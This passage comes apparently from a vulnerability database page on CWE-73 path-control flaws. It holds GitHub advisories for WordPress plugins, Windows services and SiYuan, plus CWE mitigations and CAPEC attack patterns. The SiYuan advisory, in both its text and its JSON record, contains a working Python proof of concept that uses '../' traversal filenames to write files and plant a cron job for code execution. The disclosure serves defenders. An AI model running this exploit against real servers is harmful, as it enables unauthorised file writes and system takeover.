      "url": "https://www.vulncheck.com/advisories/openclaw-local-file-exfiltration-via-shared-reply-media-paths"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Shared reply MEDIA - paths are treated as trusted and can trigger cross-channel local file exfiltration"
}

GHSA-QR34-QW34-4824

Vulnerability from github – Published: 2022-03-15 00:00 – Updated: 2022-03-22 00:00

Details

The Login with phone number WordPress plugin before 1.3.7 includes a file delete.php with no form of authentication or authorization checks placed in the plugin directory, allowing unauthenticated user to remotely delete the plugin files leading to a potential Denial of Service situation.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2022-0593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-14T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Login with phone number WordPress plugin before 1.3.7 includes a file delete.php with no form of authentication or authorization checks placed in the plugin directory, allowing unauthenticated user to remotely delete the plugin files leading to a potential Denial of Service situation.",
  "id": "GHSA-qr34-qw34-4824",
  "modified": "2022-03-22T00:00:52Z",
  "published": "2022-03-15T00:00:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0593"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/login-with-phone-number"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/76a50157-04b5-43e8-afbc-a6ddf6d1cba3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVH8-5V9X-29HH

Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-05-26 18:31

Details

External control of file name or path in Windows Telephony Service allows an authorized attacker to elevate privileges over an adjacent network.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2026-20931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T18:16:20Z",
    "severity": "HIGH"
  },
  "details": "External control of file name or path in Windows Telephony Service allows an authorized attacker to elevate privileges over an adjacent network.",
  "id": "GHSA-qvh8-5v9x-29hh",
  "modified": "2026-05-26T18:31:36Z",
  "published": "2026-01-13T18:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20931"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20931"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2026-20931-detection-script-elevation-of-privilege-vulnerability-in-windows-telephony-service"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2026-20931-mitigation-script-elevation-of-privilege-vulnerability-in-windows-telephony-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVVF-Q994-X79V

Vulnerability from github – Published: 2026-03-16 18:47 – Updated: 2026-03-30 13:58

Summary

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

Details

Summary

POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.

Details

File: kernel/api/import.go - functions importSY and importZipMd

file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)

importZipMd has a second traversal in unzipPath construction:

filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath    := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)

filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

import requests, zipfile, io

HOST  = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr("TestNB/20240101000000-abcdefg.sy",
        '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
    z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)

r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
    data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})

print(r.text)

RCE via cron (root container):

cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
    data={"notebook": "NOTEBOOK_ID", "toPath": "/"})

Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}

Impact

An admin can write arbitrary content to any path writable by the SiYuan process: - RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys - Data destruction by overwriting workspace or application files - In Docker containers running as root (common default), this grants full container compromise

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32749"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:47:02Z",
    "nvd_published_at": "2026-03-19T21:17:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nPOST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.\n\n### Details\nFile: kernel/api/import.go - functions importSY and importZipMd\n\n```go\nfile := files[0]\nwritePath := filepath.Join(util.TempDir, \"import\", file.Filename)\nwriter, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)\n```\n\nimportZipMd has a second traversal in unzipPath construction:\n```go\nfilenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))\nunzipPath    := filepath.Join(util.TempDir, \"import\", filenameMain)\ngulu.Zip.Unzip(writePath, unzipPath)\n```\n\nfilepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```python\nimport requests, zipfile, io\n\nHOST  = \"http://localhost:6806\"\nTOKEN = \"YOUR_ADMIN_TOKEN\"\n\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \u0027w\u0027) as z:\n    z.writestr(\"TestNB/20240101000000-abcdefg.sy\",\n        \u0027{\"ID\":\"20240101000000-abcdefg\",\"Spec\":\"1\",\"Type\":\"NodeDocument\",\"Children\":[]}\u0027)\n    z.writestr(\"TestNB/.siyuan/sort.json\", \"{}\")\nbuf.seek(0)\n\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../data/TRAVERSAL_PROOF.zip\", buf.read(), \"application/zip\")},\n    data={\"notebook\": \"YOUR_NOTEBOOK_ID\", \"toPath\": \"/\"})\n\nprint(r.text)\n```\n\n**RCE via cron (root container):**\n```python\ncron = b\"* * * * * root touch /tmp/RCE_CONFIRMED\\n\"\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../../../../etc/cron.d/siyuan_poc\", cron, \"application/zip\")},\n    data={\"notebook\": \"NOTEBOOK_ID\", \"toPath\": \"/\"})\n```\n\n**Confirmed response on v3.6.0:** {\"code\":0,\"msg\":\"\",\"data\":null}\n\n### Impact\nAn admin can write arbitrary content to any path writable by the SiYuan process:\n- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys\n- Data destruction by overwriting workspace or application files\n- In Docker containers running as root (common default), this grants full container compromise",
  "id": "GHSA-qvvf-q994-x79v",
  "modified": "2026-03-30T13:58:28Z",
  "published": "2026-03-16T18:47:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32749"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write"
}

GHSA-R247-3HH7-G6PC

Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30

Details

External control of file name or path in Windows Core Shell allows an unauthorized attacker to perform spoofing over a network.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-59244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T17:16:06Z",
    "severity": "MODERATE"
  },
  "details": "External control of file name or path in Windows Core Shell allows an unauthorized attacker to perform spoofing over a network.",
  "id": "GHSA-r247-3hh7-g6pc",
  "modified": "2025-10-14T18:30:35Z",
  "published": "2025-10-14T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59244"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59244"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R2F4-VXWC-229J

Vulnerability from github – Published: 2025-11-25 09:31 – Updated: 2025-11-25 09:31

Details

The AI Engine for WordPress: ChatGPT, GPT Content Generator plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1. This is due to insufficient validation of user-supplied file paths in the 'lqdai_update_post' AJAX endpoint and the use of file_get_contents() with user-controlled URLs without protocol restrictions in the insert_image() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-13380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T08:15:50Z",
    "severity": "MODERATE"
  },
  "details": "The AI Engine for WordPress: ChatGPT, GPT Content Generator plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1. This is due to insufficient validation of user-supplied file paths in the \u0027lqdai_update_post\u0027 AJAX endpoint and the use of file_get_contents() with user-controlled URLs without protocol restrictions in the insert_image() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
  "id": "GHSA-r2f4-vxwc-229j",
  "modified": "2025-11-25T09:31:24Z",
  "published": "2025-11-25T09:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/d0n601/CVE-2025-13380"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/liquid-chatgpt/tags/1.0.1/liquid-chatgpt.php#L315"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/liquid-chatgpt/tags/1.0.1/liquid-chatgpt.php#L423"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/liquid-chatgpt/tags/1.0.1/liquid-chatgpt.php#L83"
    },
    {
      "type": "WEB",
      "url": "https://ryankozak.com/posts/cve-2025-13380"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae0abace-9bf6-4ef9-a9b8-7efffbf25628?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation

Architecture and Design Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Mitigation

Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation

Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation

Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.

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